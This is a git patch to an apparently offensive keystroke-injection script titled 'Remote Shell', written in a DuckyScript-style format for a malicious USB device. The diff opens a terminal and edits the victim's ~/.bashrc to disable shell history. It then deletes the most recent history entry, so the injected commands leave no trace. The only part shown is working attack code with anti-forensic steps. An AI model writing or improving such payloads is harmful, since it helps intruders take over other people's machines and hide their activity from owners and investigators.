From 9419087377971f20e107eb1d1d67600267884ec9 Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:42:24 -0500 Subject: [PATCH] Update Remote Shell.txt --- Executions/Remote Shell.txt | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt index a2b5117..21d31db 100644 --- a/Executions/Remote Shell.txt +++ b/Executions/Remote Shell.txt @@ -36,7 +36,13 @@ STRING Terminal DELAY 500 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER DELAY 500 ENTER DELAY 500